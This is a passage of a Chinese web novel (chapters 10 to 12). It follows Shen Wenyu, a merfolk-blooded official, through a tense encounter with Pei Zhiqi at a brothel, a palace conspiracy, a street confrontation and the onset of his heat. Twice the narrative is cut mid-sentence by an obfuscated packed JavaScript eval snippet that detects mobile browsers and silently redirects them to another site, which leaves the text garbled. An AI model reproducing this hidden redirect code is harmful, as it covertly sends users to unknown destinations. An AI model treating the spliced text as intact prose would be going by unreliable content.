坏预感又攀上来了,如鲠在喉,只是这回很快便落到了实处,没让他久等。 “这是…沈大人?” “——好巧啊,又见面了。” 沈文誉没回话。 裴止弃穿了身轻甲,正顺手拆卸着腕套,把两个缠绕的绳结解开。 男人没听见回话,掀起长而蜷曲的睫毛看了沈文誉一眼,带着似是而非的笑意,把护腕随手往架子上一搁,一步步、悠闲朝角落里的不速之客走去。 沈文誉后腰抵着桌沿,逃无可逃。 10. 危险 看起来三月二八不宜出行。 这是沈文誉脑中的第一个念头,第二个念头是见鬼,这人为什么阴魂不散。 “没想到沈大人也会拜访秦楼楚馆,真是叫人惊讶。”裴止弃说着,了然似感叹一句,“也对,人不可貌相嘛。” 沈文誉后腰猛地撞在了桌角,疼得一下子没站住,警惕地瞪着裴止弃。 他把呼吸压得很轻:“……彼此彼此。” 饶是再意识不清,也知道自己走错地方了,只是怎么这么凑巧,刚好跑到了这人的厢房? 看着就像是自己主动送上门来的。 裴止弃显然没有放他走的意思,如同凶兽看见了猎物,其实不饿,但是再吃一口也无妨,毕竟珍馐少见。于是撑在沈文誉身侧,俯身压下来,轻易将人圈在了逆光投下来的阴影里。 裴止弃又凑过来…他到底有什么凑过来的毛病?不让碰这三个字跟戳着这人反骨了一样,越说越爱动手。沈文誉心道。 男人撩起他细绵的发丝,别在了耳朵后面,呼吸间,热气全洒在沈文誉耳根。 沈文誉耳根麻透了又痒透了,极力往外偏头,听见裴止弃拖长了的嗓音,在很近的地方,一点点钻进他的耳道。 “怎么湿透了?这么狼狈。” 男人的身材不是威猛壮实的类型,更不如说偏向于精悍有力,没那么多看着大块笨拙的肌肉,普通的宽肩窄腰。但沈文誉知道这衣裳下面是精壮的肌肉,裴止弃用力掐他的那次,手臂上是虬结盘绕的青筋。 除此之外,傲人的身高也带给他难以忽视的压迫感。 一言蔽之,眼下他躲不开。 沈文誉:“裴大人看起来才是常客。” “自然比不上自律清高的沈大人,”裴止弃的热度源源不断地偎过来,他弯着头,干燥嘴唇轻轻擦过沈文誉耳尖,“我这种德不配位的闲散人士,自然是哪里好玩去哪里。” 沈文誉屏住了呼吸。 再往后些,他就只有坐上桌子这一条退路了,但显而易见坐上去才是绝路……沈文誉眼下理智崩盘、浑身发热,连裴止弃的体温都觉得尚且能接受了,状态不是一星半点的差,完全没有心思与裴止弃打机锋。 他的脸色并不好,皮肤白得几乎透明,不明缘由的冷汗涔涔,衬得右眼卧蚕中央和鼻尖的小痣都像是被水洗过一般…… 原来他鼻尖也有颗痣。 裴止弃心道,卧蚕下也有一颗。 偏生是这两处点了小痣。 如果一个人容貌仅是秀美又显得太单调,但精致这词就是在于耐看,完美之外还带着巧妙。他这两处点的痣,卧蚕下一颗引人看向他本就带着弧度的眼睛,还希望逗他多笑笑;另一颗引人看向他鼻尖,视线不自觉就会落到了嘴唇,然后就被那唇珠、唇色吸引了视线。 痣的位置都这样巧妙,带着欲语还休的劲儿,怎么样都耐看。给这人本就出众的容貌无端添了几分风情。 裴止弃目光在继续下滑之前及时止住,移开视线,继续道。 “不过沈大人看着倒像是第一次来,怎么样,玩得还开心么?” “……”沈文誉本就要冻住的表情更瘫了。 他刚才抱着净桶干呕得不知天地为何物,裴止弃不问句是否抱恙也就算了,还问他玩得开不开心?眉毛底下挂俩蛋吗? 怕不是把他当成了什么在楼里寻欢作乐后,喝得反胃的酒鬼。 “让开……” 沈文誉的呼吸逼到了齿间细细的一线,生怕多漏出一点气息沾到了这混账。晦气,这人就像随手召一次结果就被缠上的死鬼。 裴止弃开口打断了他,绕了他一缕发丝在指尖细细把玩起来,“沈大人呐……” 鎏金山炉中的幽香散在空中,画出一道流云游龙般乳白的烟迹,缭绕在二人之间,又柔柔地消散了。 沈大人洗耳恭听。 裴止弃总是带几分磁性的声音落下,如投石入湖,掀起骇浪。 “沈大人,你说,”裴止弃语气拖长,好像真的在请教似的,“——鲛人这种东西真的存在么?” !!! 霎时,好似冰锥从天而降,将沈文誉死死钉在了原地。 他本能地望去,知道自己的瞳孔一定猛然收缩。心脏横冲直撞,跳得更厉害了,耳畔只有血液被泵入四肢的声音。 砰。 砰。 方才将歇的冷汗又细密地沁出来,原本还滚烫的体温瞬间凝固成冰,哪怕沈文誉瞬间想了一千种自己可能暴露出来的把柄,可真到了这个时候,浑身都是僵硬的,唯有寒意从骨缝里源源不断渗出来。 什么……意思? 知道了,然后呢?他…在试探自己还是……… 可裴止弃半晌没有动作,沈文誉竟不知该作何反应,循着本能笑了一声。 “……哈,大白天的,裴大人就在说梦话了么。” 裴止弃同他离得这样近,却没看出沈文誉苍白脸色,这句话更像是起个话头,他说完后就陷入了回忆,继续道。 “沈大人上来得早,大抵没有看见那几只鲛人。果真艳丽无双,叫人见之忘俗,”裴止弃掌心掐着沈文誉的侧腰,缓缓上移,抚摸上了他长鳞片的位置,“鳞片长到了这里,与肉贴在一起,钱够了就能上手撕,跟真事儿似的,撕的时候会黏着皮肤,然后这一块肌肤就红透了。鲛人就急.喘着,发出哭泣一样的声音。” 好痒。 他说这话的时候,沈文誉的呼吸微微急了点,裴止弃正抚到他的侧腰,就是洗浴时会生鳞片的位置。于是顺着他的话想到了什么,脸色更白了。身子也微微颤抖起来… “鳞片扯得多了,那小鲛人就会疼得尖叫,鱼尾翻得水花浪浪,客人们压着她不让动,叫她露出那纤长鱼尾来供赏玩。” 裴止弃说:“好像越糟.践她,她就越美丽。” 修长而有力的手指顺着腰身下滑,裴止弃极有耐心地一点点解说,然而他面前是一位真鲛人,听了两耳朵蒸煮煎炸、剥皮抽筋的鬼故事,只想让他闭嘴。 “这等漂亮东西若是真的存在,想必没有人不喜欢吧?” 裴止弃好奇道,“养着可以观赏,杀之可以入药,难怪陛下总是念念不忘呢。” 沈文誉眼皮烛芯似的一颤,撩起眼皮瞪了他一眼,目光冷得如有实质:“滚。” 沈文誉心想,这人就是记着仇,专程来消遣自己。 直到沈文誉的手无处可去,只能抵上男人的胸膛,小公子终于忍无可忍:“离我远点,裴止弃,你太近了。” 称呼都不叫了,点名道姓,看起来是真的很生气了。 “啊,有吗?”裴止弃眉梢微挑,“毕竟初见的时候,我二人素未相识,文誉同我的距离更近呢。” 是,他那时候是故意的。但裴止弃这都故意多少回了,没完了吗? 裴止弃的发色微微偏褐,发尾有些卷也有些枯,竖着高马尾,动作间头发越过肩膀,扫过他的胸口,激起一阵痒意。 这让沈文誉想到自家小时候捡回来的那条杂交的小土狗。那小狗的毛发也是这样茂密,也爱往自己胸口上蹭,看着扎手,实际上还挺柔软的。 但北人讨人厌肯定是有原因的,因为裴止弃的屁还没放完—— “话说回来,沈大人真应该下去看看,看那群人痴态毕露,丑态百出。鱼尾长在人身上还真是诡异……鲛人?”裴止弃轻嗤了一声,“鲛人。” 鲛人比人高贵么?和北人一样下贱么? “很好,裴大人人间清醒,在下佩服,”沈文誉声音骤冷,猛地攥住裴止弃贴着他的腰侧往后摸的手,用了点力气把那手拿开,往旁边一甩,“再说一次。裴大人自重。” 裴止弃盯着他的眼睛,缓缓往后退了两步,从善如流地举起两只手,侧开半边身子。 示意他可以离开了。 “……” 沈文誉剜他一眼,一刻也不想多待,推开裴止弃头也不回往外走去。谢晤还守在门口,无聊等了半天,等到嘴唇发红、脸色苍白,像是被蹂躏过一趟的五品官。 也捎着了裴止弃的福气,他也挨了沈文誉一眼瞪。 谢晤目瞪口呆,转头看向裴止弃。 “主子,他,您,喂,您知道我们不能干那种强制………” “嗯?”裴止弃循声看来。 他整个身子倚在桌沿,半抱着臂,姿态十分惬意,手指上系着什么东西,仔细一看,发现是个重工的玉佩。 那玉佩不似凡品,双鱼样式,尾巴纠缠着,整块玉质地十分温润,透着珍珠般的光泽,一根绳子系着,绳子另一段正绕在男人手指上……随手转着。 这玉佩倒是人如其主,让人一下就就联想到了属于谁。 谢晤:“?” 不是,这玩意哪来的? 裴止弃顺手一抛,谢晤稳当当接住。裴止弃吩咐他:“去查一下,京城里族人聚集的地方也都问问,看谁认得这块玉佩。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113911|195884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 谢晤反应过来了。 刚摸的。 谢晤瘫着脸:“所以您刚刚在人身上赖着不动、上下其手,原来是在当扒手?” 裴止弃啧了一声,“你说话真难听。” . 谢晤说话还能更难听,不过没敢说。 裴止弃来这里不算巧合,他自去年被调回京后一直致力于扮演骄奢淫逸的废物,那时候盯着他的有几百双眼睛,都企图从他身上挖下什么,血也好,肉也罢,用来向皇帝表忠心。 裴止弃也就自领了废物点心的角色,像是真的被京城里富贵而骄奢的暖风吹软了骨头,下朝后不是当饭桶就是逛窑子,皇帝骂了他几遍,也就随他去了。 那群蛀虫们看这事不成啊,皇帝不在意,甚至还有隐隐纵容他当废物的意思,也就都觉得没趣,渐渐的,盯着他的人也就少了,众人如白蚁散去,没有饱餐成功,但也给被围猎的动物留了个全尸。 裴止弃为了不惹麻烦,平日里避免与人结交,也就愈发显得独来独往。 这次的春宴据说百年难见,怎么可能不来玩玩。 谢晤等了一会,见主子做戏做到底,还没有要离开的意思,只得自己拿着玉佩先行退下。 春阁里纵深曲折,雕栏画栋,橘红灯笼高挂着,折出人长长的、细瘦的影子,明亮却又昏暗,透着诡异。 众宾客的注意都被那伪装人鱼吸引了视线,没人管一个游荡的侍卫。谢晤打算从侧门离开,在过道转角处,一个行色匆匆的侍女撞了上来。 “唔!” 谢晤没刻意遮掩脚步声,没想过会有人这么准撞上来。那女子看起来很急,不同于春阁里一致的服饰,女子一身软罗衣衫,峨髻梳就,发丝乱了也只是伸手拨弄了两下,不卑不亢地欠身福了一福。 “真是抱歉,还请贵人原谅则个。” 女子似乎不欲停留,道了歉,眉头还是皱着的,谢晤摆了摆手示意没事,女子勉强笑了一下,又快步离开了。 谢晤像是万千碰上了一点小插曲的行人一样,完全没当回事,兀自往外走着。直到走出去好几步,他的脚步突然顿住。 回头见那女子已经消失在侧门尽头,才悄无声息地跟了上去。 侍女一路到了三楼某间雅座,左右顾了顾,确认没人才抬手敲门。可惜谢晤一身黑衣,隐匿身形后哪里是普通侍女可以感知到的,等到确认门被掩实,谢晤才凑上前,耳朵贴着隔扇门,听那女子急急道。 “殿下,时间不多了,该回宫了,要知道您现在还在禁足期,出来太久会被……” 宫里人,谢晤心道。 “灵芝,说了在外不要叫我殿下。” 被换做灵芝的女子十分抱歉,忙应下,但还是求道:“少爷…再晚些,公公过来查,就要发现了。” 另一道听不出年纪的声音轻轻笑了一下。 “衿玉还是先回去吧,恰好也谈完了。只是这禁足实在麻烦,见面困难倒是其次,影响我们的计划就不好了,衿玉平日里,还是要谨言慎行的好。” 被换做衿玉的人音色年轻,似乎因为心情不佳,语气显得有几分阴狠。 “知道了知道了,不要你多讲,本来就烦。要不是流云莫名发疯,我也不至于引起那位的注意。” 谢晤越听表情越凝重,脑子急转。 衿玉?虽然不知道六殿下楚珩的字,但不难猜出来此人就是楚珩。他利用锁春宴在与何人会面?商量的又是什么计划? 那刻意模糊声音的第三人,又是谁? 谢晤本想等二人出来后冒着风险往里窥探,看清另一人是谁。可惜走廊深处突然传来深浅不一的脚步声,几个酒客互相搀扶着往这个方向走来,酒气薰鼻,嘴里也胡言乱语着什么。 谢晤暗骂一声。过道就这么窄,他们出来肯定会撞见自己。他侧身想要躲起来,下意识伸手把住了自己的佩剑。 倒霉就在他忘记自己还新拿了一个赃物——沈文誉的玉佩,玉佩磕上剑套发出清脆响声,分明动静小得不能再小,却瞬间引起了里面人的注意。 那第三人呵道:“谁!?” 赃物碍事,主子害我! 谢晤简直服了,万千思绪飞驰而过,只剩下一个念头: 我回头定要把玉佩扔裴止弃脸上。 雕花的木门嘭地被人打开,兜头吹来客人七嘴八舌的臭骂和酒味,厢房里的肃穆的空气被搅浑了,楚珩冷眼扫了一圈,门外……什么也没留下。 11. 冲突(二合一) 沈文誉匆忙出了锁春阁,直到远离了那纷乱嘈杂,才觉得勉强好受了几分。 此时已过午时,日头泼下的日光亮得近乎灼眼,长安街正是热闹的时候,小贩轿夫吆喝声此起彼伏,一排排的茶棚与铺子也正开张,牌匾相接。 这样快活而生动的情景,可总感觉像是同他隔了层不清不楚的膜,吆喝声好像在很远的地方,行人的五官也好像被一只无形的手抹去了。 方才应付裴止弃而紧绷的神经骤然松下来,倦乏感取而代之,沈文誉呼吸急促,步伐几乎有些踉跄。 好热。 他拧着眉头,依本能将衣领往下拉了拉,露出透着红的锁骨和喉结。 ……可不应该啊。 他从来不知道鲛人也会发烧。母亲虽然体弱,但也鲜少生病,他还以为他们这一族有些百毒不侵的特长。 沈文誉思及此,更是困惑了,总觉得自己这潮热来势汹汹,并不像是操劳引起的。 就在此时,灵感像是被拨动了,他忽然想到了什么,原本模糊的记忆就像是湖水褪去后冒出来的石尖,逐渐清晰起来。 原本不详的预感攫取了他的心脏,在回忆的热风下有如点着了的枯草,越烧越烈。 不会吧……… 沈文誉脚步一顿,深深吸了一口气,脑中开始飞快盘算起日期。 即使再不愿意面对,依旧有什么昭然若揭—— 真是疯了…… 沈文誉忍不住低低骂了一声。 他总是疏离的表情难得出现一丝裂痕,觉得此事过于荒谬而有些想笑。 是了。 成年后半年一次的发情期,算起来也就是这个时候了。 此事母亲同自己说过,只是他才及冠不久,觉得还不着急,此后又在昏天黑地与人斗其乐无穷中不知道撂到了那个角落。 又或者他潜意识在逃避这件事,总之,这事太突然,他完全没有准备。 盯着他的眼睛也不少,带着恶意的、钦慕的、好奇的,都等他露出破绽,从而食其肉寝其皮,作为永康侯世子,他的每一步都如履薄冰,哪里有时间安闲度过情热? 还没等他思考出个应对办法,衣角突然被人拉了拉。 大街上的,沈文誉视线环绕一圈,最后下移,落在一个细胳膊细腿的小孩上。 小孩就像是糖葫芦上插了签,脸是圆的是红扑扑的,看起来咬一口能沁出蜜,但也实在瘦弱,沈文誉都疑心他跑起来会因为支撑不住身子而摔跤。 但好在气色还行,这般流浪的模样都能看出是个美人胚子。 小孩两只眼睛如黑葡萄般剔透,直直看着人时自带了些委屈味道,拉着沈文誉的衣襟又轻轻拽了拽。 “哥哥……”奶声奶气的。 粗麻短夹,说明家中赤贫,骨头嶙峋也可佐证这一点,但气色尚可说明得宠爱,长相不似楚人。 少见的北人小孩。 沈文誉喜欢乖巧的、受控的东西,对这瘦团子勉强有点耐心。于是垂下眸,愿意给他几分钟时间:“怎么?” “哥哥,好饿啊,”小孩委委屈屈地一耷眼,揉了揉空瘪的肚子,“可以买吃的给我吗?白馍蒸饼就可以,拜托您啦……” 白馍便是什么都不加的面团,味道粗糙但胜在便宜,一铜钱一个,遇上心善的,随手施舍些也不是问题。 小孩估计是饿得受不了了,才在街上找看起来好说话的行人乞讨。 沈文誉看他来意单纯,刚打算从钱袋里摘点银子,就在这时,他听见了一小阵骚乱,似乎是路人被挤攘而低声呵斥着谁,很快,一个身形纤瘦的秀美女子冲了出来,不由分说将小孩子拽到身后,面带戒备。 她的官话说得有些不伦不类,带着点拗口的口音,说得很慢、很困难。 沈文誉心想,奇怪。 “抱歉…大人…冒犯您了,还请您看在他年幼的分上,不要责怪于他……” 女人瘦得有些过分了,锁骨与胸腔的骨头支棱着,胸膛覆盖着一片聊胜于无的人皮,好像指甲稍微用点力就可以剥开。即使这样她也还是美丽的,哪怕脸颊脏污,瘦脱了相。 女人似乎十分害怕他——或者是他这类人?沈文誉还没说什么,女子已经浑身发抖了,但还是紧紧护着小孩。 “阿娘!”小孩探出半个头,“哥哥他……” 小孩明显胆大些,不服气想要说什么,女子手肘掴了他一下,用斥责的眼神瞪了他一眼。 沈文誉莫名听懂了这小孩的未尽之音,想说自己是个好人? 他有些好笑,摆了摆手,本打算示意女人不必这么拘谨,手抬了一半,突然停住了。 ……街上行人摩肩接踵,小孩行乞不是什么少见的事情,为何偏偏挑中了自己? 这母亲似乎没少训斥小孩不要随意冲撞贵人,真的是因为自己看着好亲近吗? 沈文誉活这么大,除了狗皮膏药成精似的宋鹤,还从不知道自己招活物的喜欢。 沈文誉身姿绰约,仪态优雅,一身苏绣月白圆领袍,像鹤般不染污浊,与这女人一同站着,惨烈的对比频频引起路人回首。 他话音一转,带着纨绔标准的、游刃有余的笑意,尾音微微上扬。 “哦?那我若是生气了呢。” . 这种语气,在女人狼狈的半生中,听见过很多次。 京城是吃人的。 她们身份不好,为了活命,就只能像狗一样,用动物般的感知去揣测大人们的意思。但眉眼向上不一定是喜悦,垂眸悲怜也不一定是同情,隔着一层上等皮,谁知道人心流淌着红的黑的血,那些贵人、大人、官人太会伪装了,他们看不明白,一次次感激涕零,也一次次伤痕遍体。 蝼蚁也有爱恨,也要死活吗? 沈文誉这种少爷他也见得多了。年轻人的恶意更纯净也更彻底,他们真的懂恨吗,想必不见得,但让坏人瑟缩、发抖、哭泣,桩桩件件,都能换来同伴的荣誉奖赏。 女人声音发起抖:“您、您大人有大量……他真的不是故意的…是我的不好………” 那小孩见母亲语带哭腔,乖巧拉住了母亲的手,安分了下来,也不再看他。 贵人垂下眼睫,没说好也没说不好,似乎因为烦躁,眉头一直没有舒张开,绞在眉心。 没完了吗,沈文誉心想,还要看到什么时候。 沈文誉等了一会:“那就跪下道歉吧。” 周围看热闹的人渐渐变多了,有人认出来了这就是前几日打马游街的状元。于是窃窃私语之声四起,有看热闹的,也有幸灾乐祸的,大致意思都是这女的真是可怜,碰上谁不好,偏偏碰上这位…… 女人二话不说,按着小孩的头,让他跪下。 她像是很习惯这种事,小孩也跪得训练有素,哪怕身子抖得如风中落叶,也没有生出要逃跑的心思。 沈文誉看见小孩紧紧攥着大腿的布褶,一直低着头,半晌,他看见一滴豆大的清泪坠在手背上,把那脏黝黝的手背浸湿。 于是沈文誉又心想,不要哭。 女人知道还不够,围观的人越来越多,好戏这才刚刚开场,于是也不多废话,自己撩起裙摆就要跟着跪下。 只是双膝正弯一半,一旁酒肆店门口的珠帘被一把珊瑚金的扇子撩开,走出来了位韶丽公子,他把扇子往手心里一抵,扇面就“唰”地合上了。 “文誉!” 这人笑意盈盈、十分热情地往僵持的方向走来,自带热空气似的,将凝滞的氛围都搅得热络了几分。 “哎呀真是巧,我来这边吃个酒,听见外边闹出动静,一看居然是你,这都能碰上,说明我俩缘分不浅——” 沈文誉烧得手指都发酸,心里想笑,面上还是装作很意外的样子:“祝大人,好巧。” 便是风流多情、手段狠辣的刑部侍郎祝今宵了。 “好巧好巧,”祝今宵撇开扇子抵唇笑笑,像是才发现那对母子般,“咦——小美人,这是怎么了?” 那把价值千金的扇子支在女子手肘,迫使女子站起身来。 “这么漂亮的小美人,这是犯了什么错?要跪也别在这跪,地上多脏啊,是不是?” 女子连连道谢,但跪也不是,走也不是,两相为难。 “惹我们文誉不高兴了?”男人不轻不重责怪了两句,又十分热络地拍了拍沈文誉的肩 ,“文誉看在我的面子上,就别生气了,嗯?我俩好不容易碰上,何必为了这点小事耽误时辰。” “无妨,”沈文誉淡淡道,“小孩拦着我乞讨,觉着晦气罢了。今日又刚好碰上我心情不好,就惩责了几句,祝大人都发话了,那文誉自然是依的。” 祝今宵冲母子二人扔了几块铜钱。 “听见了没?好了好了,还不快滚远点,下次别乱冲撞贵人了。” 沈文誉没再说什么,默许了母子二人离开。 那女子连连道谢,用力拽着小孩离开了。人群分海似的分出一条路,那小孩被拽得一路三回头,看了看热气腾腾的包子铺,又看了一眼沈文誉,面上有几分遮掩不住的难过,然后一点点融入人流。 祝今宵没走,见沈文誉看着母子离开的方向,突然就开了口。 “虽然同文誉说这些不合适,但他们其实都挺可怜的。” 沈文誉半边眉头轻轻扬起,似乎觉得从他口中听到这种话很意外:“真看不出来,祝大人久浸刑罚,却还挺有人情味?” “说笑了,”祝今宵摆摆手,“正是案子判多了,反倒对人看得更通透。刑部断案也讲究明刑弼教、公正廉明,对了就是对了,错了就是错的,只分有罪之人与无罪之人。 “毕竟斩刀一落,人首分离,生前是北人楚人,鱼人鸟人的,有什么关系呢,功过才填满了这个人的一生。” 沈文誉不在意地耸耸肩,看起来是左耳朵进右耳出了:“祝大人说得对。” 他那张皇帝赞不绝口的试卷还在仁和门外张挂,用以震慑,也用以寓教。偏激思想几乎要透过乌墨溢出来,字字句句都带着“非我族类必诛”的意思,代表的立场比笔杆还直,同他说北人悲惨,得到这般敷衍的回答简直再正常不过了。 祝今宵看不出他的表现有任何割裂的地方,方才的反应也完美到像是排练过,借着扇子飞快地打量了他几眼。 ——他看不出任何不对,难道这不应该是最不对劲的地方吗。 但嘴上像是知道多说无益,祝今宵从善如流换了另一个话题:“嗯,是我多嘴了,不同文誉说这个。对了,此前的状元宴刺杀案有些进展,我想文誉是当事人,应该也会关心进展,顺便来同你说说。 “我查了流云的人际关系,居然是空白。” 沈文誉瞳孔微张,流露出几分自然的讶异:“怎么会?” 他在怀疑我,沈文誉心道。 沈文誉又想了想,似乎是真的在与祝今宵交流,慢慢道出自己的想法。 “我对…宫里不太熟悉,入宫之后也许行动受限,被六殿下当成雀儿豢养,”他说到这里,露出几分读书人对这种事情特有的不赞同神情,“…与他人没什么往来也正常。但他入宫前呢,总不能是完全空白罢?人也不是土里长出来的。” 祝今宵:“是,这就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113912|195884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是奇怪的地方。这种入宫侍奉的,背景清白是基本,但不能完全不知道来龙去脉,六殿下说是买来的,因为买卖这种事不好声张,于是都在私下里进行。结果我顺着去查,那黑牙子的联络已经被销毁,渠道也早已作废,流云的身契根本是造假的,身份并不存在,连家里的人口都是伪造的。但殿下当时喜欢流云的紧,对这些东西根本不在意,假身契于是瞒到了现在。 “然后就是殿下是从哪里知道流云的。黑牙子毕竟是人口贩卖,朝廷对这种事命令禁止,于是这些地下产业都有一套自己的开张流程,多是熟客介绍,还挑人,不能只是有钱,权钱缺一不可,甚至生客也买不到‘好货’。” 沈文誉听到这,恍然地点点头,听的很认真。祝今宵莫名从他脸上看出来“学到了”的意思,一时间无奈又好笑。 沈文誉见他停顿,追问道:“殿下怎么说?” “殿下说他不记得了。”祝今宵摊手,“于是所有的路都堵死了,这还真叫我无从下手。” 沈文誉倒抽一口凉气,像是听到一个到了高潮又戛然而止的故事,也忧他人之所忧似的,露出很难办的表情来。 半晌,他叹一口气,很抱歉地冲祝今宵笑了笑,那双深蓝温润的眼眸流淌着宝石一般的光泽。 沈文誉温声道:“真是劳烦大人为我费心了。” “你这,太犯规了,”祝今宵“唰地”撇开扇子给自己胡乱扇风,看起来很忙但不知道在忙什么,扇得头发翻飞心思乱飘,语气又不着调起来,“文誉你这就见外了,不许别这么看着我啊,再看两眼,我就真是‘赴汤蹈火在所不惜’了,星星月亮都得给你摘来。” 沈文誉忍俊不禁。 “不过文誉你可以好好回忆回忆,流云刺杀你之前,你与北人有过什么冲突,唔今天这种也能算,有任何线索都可以告诉我。” 祝今宵说完,又想到什么,语气暧昧如丝:“当然,没什么事情,也随时欢迎来找我哦?” 沈文誉摇摇头。 是不记得了,还是太多了的意思?祝今宵猜着。 长街十里,他的容貌实在是出挑的耀眼,在美人如云的平京城也算得上独一份的好看。粉色霞光落在他的侧脸,脸部的转折都完美得像是用尺子量过,符合一切对京城、楚人、少爷公子的想象,不与外族同流才是正常的吧。 沈文誉:“没有把他们放在心上过,也就不确定什么举动才算是起‘冲突’。恨到要来刺杀我的过节应该没有,所以应该是单纯看我不顺眼。” “别!”祝今宵都准备说些诸如“文誉这样好看,怎么可能有人看不顺眼,那肯定是他们瞎了眼”之类的漂亮场面话了,后知后觉反应过来沈文誉好像在同他说笑…虽然说笑的方式是自嘲。 沈文誉对他眨了眨眼睛。 祝今宵于是失笑:“不会的,咱们一般不会因为看不顺眼就搞暗杀,楚律还没亡呢。那还是得从流云入手,得知道他到底是什么身份,站在哪一边。 “不过说到底这事还是文誉受伤害比较大,我不该同你说这些还没有眉目的事情的。对了,文誉如今住哪,我送你回去?” 祝今宵提议道:“上次还说择日去你府中拜访,若是得空,不如就今日?” “……还是改日罢,”沈文誉婉言拒绝了,“今日我身子有几分不适…可能招待不周。” 情期不知何时发作,这个时候他只想自己待着。 况且刑部的人从来都不是善茬,祝今宵更是人精中的人精,沈文誉并不想把他带回家,免得被察觉什么。 听沈文誉身子不适,祝今宵想到自己还拉他说话这么久,有些内疚,本打算亲自把沈文誉送回去,但沈文誉执意不需要送。祝今宵看他能走能跳,意识也还好,也就没过多纠缠,只是叫沈文誉多多注意身体,便先行离开了。 . 沈宅自上往下俯瞰,是一块山水齐全的四合院,坐北朝南,正面设了宽阔气派的乌头敞门,门口两只獠牙大开、威风凛凛的石狮像,匾额精良,门面辉煌。 黄昏之后,夜晚就笼罩下来了。 穿过院落时,树影沙沙,前几日的热闹散去,沈宅又恢复了冷清,只有春蝉不知疲倦的鸣叫。沈文誉的脚步慢下来,看向院中的一小块池子。 此刻暗雨乍起,吹来远处的泥土湿腥味,远处灯笼飘摇时的星点火光,照亮了沈文誉一点下巴尖,无端烘托出几分落寞。 他想起今日在锁春阁中看见的,也是这样宽大的水池。 那几条鲛人穿游其中,鱼尾时隐时现,笑声如银铃般清脆悦耳,好像真的欢快极了。 搬进来之前,沈文誉亲自参与过修葺。 毕竟是自己的新家,他在装修时也融入了一切美好的幻想,他想挖一块巨大的水池,最好足够宽敞,可以把他全部都塞进去,尾巴不至于搁在外面;最好大到他可以游泳,可以尽情而畅快地舒展四肢,可以潜到很深的地方,然后不问世事地睡一觉,再醒来时,前尘往事都翻了篇,他从水里回到人间,继续当他的永康侯府世子。 但最后还是没做到。池子挖了一半被他紧急叫停,最后加了假山,养了小鱼,沦为万千户人家中普普通通的水池。 而他依旧委身窄小的浴桶里,洗完澡腰酸背痛的爬出来。 毕竟风险太大,他赌不起。 如果有人愿意为我建一个水池。 要一个足够巨大、足够宽敞的水池。 沈文誉想到这里,忍不住嗤笑,觉得自己也忒没骨气。于是他又摇摇头,收回视线,痛重脚轻地往屋里去了。 ——自己一定会忍不住跟他走的吧。 12. 情热 他久违地做了一个梦。 梦里好像是一个阴天,四周雾蒙蒙的一片,连绿芽也是铅灰的,雨滴沉闷、湿脏,好像永远也不见天日,湿黏的空气一点点浸入肺腑。 沈文誉不喜欢阴雨天,不喜欢温泉、小溪、沼泽,不喜欢一切可能导致他失去控制的东西。 为什么会想起来?……似乎是母亲那日很难过。 自从永康侯回府一脸严肃地同她说了什么之后,母亲就独自在院子里一言不发,茫然盯着严固而冰冷的围墙,漂亮的浅蓝色瞳孔很久也对不上焦距。 自己那时候似乎年纪不大,但嗅到了空气中浓郁的悲伤味道。 沈文誉于是走到母亲面前,将小手额搭在她冰冷的手背上,努力让自己显得严肃而可靠。 他问:“母亲,你怎么了?” 他的母亲,永康侯夫人池听屿,怔怔地望着他,整个人都像是失了神。 等沈文誉还想说什么时,母亲单薄的身子倾斜过来,压在他身上,突然抱住了他。 分明是不重的,可惜他那时候还承担不起,脚步踉跄了一下才稳住。母亲用力搂着他,将手臂一点点收缩,仿佛抱着最后一根救命稻草,恨不能把他融入骨髓。 “小鱼,”池听屿喊他小名,用一种自己从未听过的绝望而凄冷的声音,尾音抖的不成样子,“小鱼,小鱼……” 母亲轻轻哽咽道:“我没有娘了……” 沈文誉那时候应该是有些震惊的。 他自小通读古籍,对生死早有了朦胧的概念,“固知一死生为虚诞”“人生居天壤间,忽如飞鸟栖枯枝”都早已告诉过他,没有什么是不朽的。 死亡只是人的另一种活法。 可母亲是如此的伤心、绝望,好似心都被剜出来一半,痛得喘不上气来。湿莹的眼泪在她冰蓝色的瞳孔里蓄积,满溢出来,咸湿的味道缓缓蔓延…… 她的眼睛里好像装着一整片海。 小沈文誉从未见母亲落过泪,一时间又慌又急,一边软着声音哄她,边用袖子不停给她擦着眼泪,未曾想越擦越多、连绵不绝。 “小鱼,”池听屿在他手里塞了什么,温热的金属硌着他,触感让他至今难忘,“这是祖母留给我的东西,现在我又给你了。她一直很想见见你……她,给你准备了很多很多礼物,可惜没来得及……你不要生她的气。” 母亲还说,祖母生前最心软了,总说世界上没有真正的坏人的,大家只是立场相悖。 为此,她救过许多过往船只,也将鲛人一族一迁再迁,只希望所有人都能平安。 “当然还是最喜欢我们小鱼,”池听屿的眼泪大颗大颗砸在地上,一直自矜的女人现在却像个小女孩那般,“真的,最喜欢了。” 沈文誉被这素未蒙面的亲情打了个措手不及。 他原本是毫无感觉的。 直至后面问了父亲沈朝言,才知道池母不是正常的死亡。 她年岁已高,戒备心低、反应力弱,被人捕捞的时候已经看不见东西了,不知道发生了什么。 永康侯接到消息带家兵赶到时,还是来晚一步,那临时搭建起来的破屋已经人去楼空。 